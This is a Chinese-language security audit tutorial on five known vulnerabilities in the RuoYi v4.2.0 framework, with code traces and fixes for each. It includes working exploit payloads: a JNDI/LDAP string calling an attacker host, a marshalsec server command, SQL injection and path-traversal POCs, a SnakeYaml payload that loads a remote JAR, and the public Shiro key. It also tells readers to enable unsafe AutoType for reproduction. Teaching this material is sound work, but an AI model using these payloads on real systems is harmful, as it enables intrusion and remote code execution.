RuoYi框架v4.20版本代码审计教学文档
文档说明
本教学文档旨在系统性地讲解RuoYi(若依)开源管理系统v4.20版本中存在的安全漏洞。通过本教程,您将学习到如何搭建靶场环境、复现漏洞、并深入进行代码审计以理解漏洞的根本原因。本文档涵盖Fastjson RCE、SQL注入、任意文件下载、定时任务RCE以及Shiro反序列化五大类漏洞。
目标受众: 具备一定Java和Web安全基础的安全研究人员、开发人员。
所需环境: JDK 1.8、MySQL 5.7+、Maven 3.0+、IntelliJ IDEA。
第一章:环境搭建与准备
1.1 目标版本选择
选择RuoYi v4.2.0版本进行审计,因为该版本集成了多个历史高危漏洞,非常适合学习。漏洞清单如下:
| 漏洞名称 | 访问路径 | 影响版本 |
|---|---|---|
| Fastjson RCE | /tool/gen/edit |
<= v4.2.0 |
| SQL注入 | /system/role/list, /system/dept/edit |
<= 4.6.1 |
| 任意文件下载 | /common/download/resource |
<= v4.5.0 |
| 定时任务反射RCE | 系统监控->定时任务->添加任务 | <= v4.6.2 |
| Shiro反序列化 | 默认Cookie处理 | <= v4.3.0 |
项目地址: https://github.com/yangzongzhuan/RuoYi/releases/tag/v4.2
1.2 环境配置
- 导入项目: 使用IDEA打开项目文件夹,等待Maven自动下载依赖包。
- 数据库初始化:
- 创建数据库:
create database ry; - 导入项目
/sql目录下的两个SQL文件:quartz.sql和ry_20200323.sql。 - 修改配置文件:在
ruoyi-admin/src/main/resources/application-druid.yml中,将数据库密码修改为您本地MySQL的密码。
- 创建数据库:
1.3 漏洞复现前置知识
在复现Fastjson RCE漏洞时,需要注意两点:
- JDK版本: 由于利用链涉及LDAP注入,请确保JDK版本 ≤ 8u191。
- Fastjson AutoType: v4.2.0使用的Fastjson版本默认关闭了AutoType支持。为了复现,需要手动在代码中开启(仅用于学习,生产环境严禁开启)。
- 修改文件:
ruoyi-generator/src/main/java/com/ruoyi/generator/service/impl/GenTableServiceImpl.java - 在
validateEdit方法开头添加以下代码:
// !!!仅为复现漏洞临时开启,审计完毕后务必注释或删除 !!! ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ParserConfig.getGlobalInstance().addAccept("org.apache.shiro.jndi.JndiObjectFactory"); - 修改文件:
第二章:漏洞复现与代码审计详解
2.1 Fastjson 反序列化远程代码执行(RCE)
2.1.1 漏洞原理
Fastjson在反序列化过程中,如果开启了AutoType功能,会解析JSON字符串中的@type字段,并实例化该字段指定的类。攻击者可以构造一个恶意的JSON,通过@type指定一个存在危险方法(如JNDI注入)的类(如JdbcRowSetImpl),当Fastjson调用该类的setter方法时,会触发JNDI查找,从而从攻击者控制的LDAP服务器加载并执行恶意代码。
简单攻击链:
Fastjson解析 -> 实例化JdbcRowSetImpl -> 调用setDataSourceName("ldap://attacker.com/Exploit") -> JNDI触发 -> 加载远程恶意类 -> RCE
2.1.2 漏洞复现
-
准备恶意类:
- 创建
Exploit.java文件,内容为执行系统命令(如打开计算器)。
public class Exploit { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }- 编译:
javac Exploit.java - 在生成的
Exploit.class所在目录启动一个HTTP服务:python -m http.server 8000
- 创建
-
启动恶意LDAP服务器:
- 使用工具
marshalsec。 - 命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://<你的IP>:8000/#Exploit 1389
- 使用工具
-
发送攻击Payload:
- 功能点: 访问系统菜单:
代码生成-> 任意选择一张表,点击编辑-> 修改字段信息并提交。 - 拦截HTTP请求: 使用Burp Suite等工具拦截提交表单的请求。
- 修改参数: 在请求体(通常是JSON格式)的
params参数后追加以下内容,注意进行URL编码:
¶ms%5B@type%5D=org.apache.shiro.jndi.JndiObjectFactory¶ms%5BresourceName%5D=ldap://<你的IP>:1389/Exploit- 发送请求后,目标服务器会弹出计算器。
- 功能点: 访问系统菜单:
2.1.3 代码审计追踪
- 漏洞入口: 审计发现,漏洞位于
GenTableServiceImpl类的validateEdit方法中。 - 关键代码:
public void validateEdit(GenTable genTable) { // ... 其他代码 ... if (StringUtils.isNotEmpty(genTable.getParams())) { // 此处直接调用parseObject,且genTable.getParams()来自用户可控的输入 JSONObject params = JSONObject.parseObject(genTable.getParams()); // ... 后续操作 ... } } - 调用链:
GenTableController.edit() -> GenTableService.validateEdit() -> JSONObject.parseObject(用户输入) - 结论: 由于用户可控的
params参数被直接传入JSONObject.parseObject(),且框架开启了AutoType,导致反序列化漏洞。
2.2 SQL注入漏洞
2.2.1 漏洞原理
RuoYi使用MyBatis作为ORM框架。MyBatis中${}是字符串替换,会将参数原样拼接到SQL语句中,而非预编译。如果用户输入未经过滤直接放入${}中,就会导致SQL注入。
2.2.2 漏洞复现与审计
漏洞点一:/system/role/list(数据权限过滤处)
- POC:
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e)) - 代码追踪:
- 在
SysRoleMapper.xml中,发现SQL语句使用了${params.dataScope}。<select id="selectRoleList" ...> select ... from sys_role ... <if test="params.dataScope != null and params.dataScope != ''"> AND ${params.dataScope} </if> </select> - 追踪调用链:
SysRoleController.list()->SysRoleService.selectRoleList()->SysRoleMapper.selectRoleList()。 - 参数
dataScope通过SysRole对象的父类BaseEntity中的params(Map类型)传递,完全可控。
- 在
漏洞点二:/system/dept/edit(更新部门状态处)
- POC:
ancestors=0)or(extractvalue(1,concat((select user()))));# - 代码追踪:
- 在
SysDeptMapper.xml中,updateDeptStatus方法使用了${ancestors}。<update id="updateDeptStatus" ...> update sys_dept set status = #{status} where dept_id in (${ancestors}) </update> - 调用链:
SysDeptController.edit()->SysDeptService.updateDept()->SysDeptMapper.updateDeptStatus()。 - 参数
ancestors是SysDept对象的一个String类型属性,用户可控。
- 在
2.2.3 修复方案
- 官方后续版本将
${params.dataScope}的过滤逻辑移至切面类,在传入前清空参数。 - 对于
ancestors,将其处理为数组,使用MyBatis的<foreach>标签进行预编译拼接,避免了直接字符串替换。
2.3 任意文件下载漏洞
2.3.1 漏洞原理
/common/download/resource 接口在处理下载请求时,未对用户传入的文件路径进行有效的目录穿越过滤,直接使用FileInputStream读取文件并输出,导致可以下载服务器上的任意文件。
2.3.2 漏洞复现
- POC:
(Windows系统可尝试下载GET /common/download/resource?resource=/profile/../../../../etc/passwd../../../../Windows/win.ini)
2.3.3 代码审计追踪
- 漏洞入口:
CommonController类的resourceDownload方法。 - 关键代码分析:
@GetMapping("/common/download/resource") public void resourceDownload(String resource, ...) ... { // 1. 直接获取resource参数,未过滤目录穿越 String localPath = RuoYiConfig.getProfile() + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); // 2. 直接使用用户拼接的路径下载文件 FileUtils.writeBytes(localPath, response.getOutputStream()); } - 对比安全接口: 同一个类中的
fileDownload方法使用了FileUtils.isValidFilename对文件名进行了严格的正则匹配,无法进行目录穿越,因此是安全的。而resourceDownload方法缺失了此校验。
2.3.4 修复方案
后续版本增加了 checkAllowDownload 方法,用于检测路径中是否包含 .. 以及文件扩展名是否在白名单内。
2.4 定时任务反射RCE
2.4.1 漏洞原理
RuoYi的定时任务功能允许用户动态添加任务。其中“调用目标字符串”字段用于指定执行的类和方法。系统通过反射机制来调用这个字符串。漏洞在于,这个反射调用没有对类名和方法名做任何限制,导致可以调用任意类的方法。
2.4.2 漏洞复现(利用SnakeYaml)
-
准备恶意JAR:
- 下载并修改
https://github.com/artsploit/yaml-payload中的AwesomeScriptEngineFactory.java,使其静态代码块执行命令(如Runtime.getRuntime().exec("calc.exe");)。 - 编译并打包成JAR文件:
jar -cvf yaml-payload.jar -C src/ . - 将JAR文件放在一个公共HTTP服务器上。
- 下载并修改
-
添加定时任务:
- 功能点:
系统监控->定时任务->新增 - 任务名称: 任意
- 调用目标字符串: 填入以下Payload,指向你的JAR文件地址。
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://<你的IP>/yaml-payload.jar"]]]]') - cron表达式: 例如
0/10 * * * * ?(每10秒执行一次) - 保存后,任务会定期执行,成功触发后会弹出计算器。
- 功能点:
2.4.3 代码审计追踪
- 调用链:
SysJobController.run()->SysJobService.run()-> 触发Quartz调度器 -> 执行到QuartzJobExecution->JobInvokeUtil.invokeMethod(调用目标字符串)。 - 核心问题:
JobInvokeUtil.invokeMethod方法使用Class.forName()和getMethod进行反射调用,传入的参数是用户完全可控的字符串,没有安全校验。
2.4.4 修复方案
后续版本增加了黑名单校验,禁止调用如 ScriptEngineManager、URLClassLoader 等危险类。
2.5 Shiro反序列化漏洞(Shiro-550)
2.5.1 漏洞原理
Apache Shiro框架使用一个固定的密钥(硬编码)对用户的RememberMe Cookie进行加密。攻击者如果获取到这个默认密钥,就可以构造一个恶意的序列化对象,加密后伪装成RememberMe Cookie发送给服务器。Shiro在解密后会对其进行反序列化,从而触发RCE。
2.5.2 漏洞复现
- 使用攻击工具: 如
ShiroAttack2。 - 输入目标URL。
- 选择检测/利用: 工具会自动检测Shiro版本并使用相应的加密方式(v4.2.0的Shiro为1.4.2,使用AES-GCM加密)。
- 爆破密钥: 工具会利用默认密钥库进行爆破,成功后会显示密钥。
- 利用: 选择利用链(如CommonsBeanutils1),填写要执行的命令,即可获得RCE。
2.5.3 代码审计追踪
- 密钥位置: 在
ShiroConfig.java配置类中,可以找到硬编码的密钥fCq+/xWjdhSACJMLPDqZnQ==。cookie.setCipherKey(Base64.decode("fCq+/xWjdhSACJMLPDqZnQ==")); - 此默认密钥是公开的,直接导致了漏洞。
2.5.4 修复方案
官方修复方案是升级Shiro到安全版本,并在配置中生成一个随机的、强壮的密钥替换掉默认密钥。
第三章:总结与修复建议
核心安全启示:
- 永不信任用户输入: 所有漏洞的根本原因都是对用户输入的数据没有进行严格的校验和过滤。
- 最小化组件使用风险: 谨慎选择和使用第三方组件(如Fastjson、Shiro),并及时更新到安全版本。
- 遵循安全编码规范: 使用预编译(
#{})替代字符串拼接(${});对文件路径进行规范化校验;对反射调用进行严格的类名、方法名白名单控制。
针对RuoYi v4.2.0的修复路径: 最根本的方法是升级到最新官方安全版本。新版本已修复上述所有漏洞。
本教学文档完。请务必在隔离的测试环境中进行实践,切勿用于任何非法用途。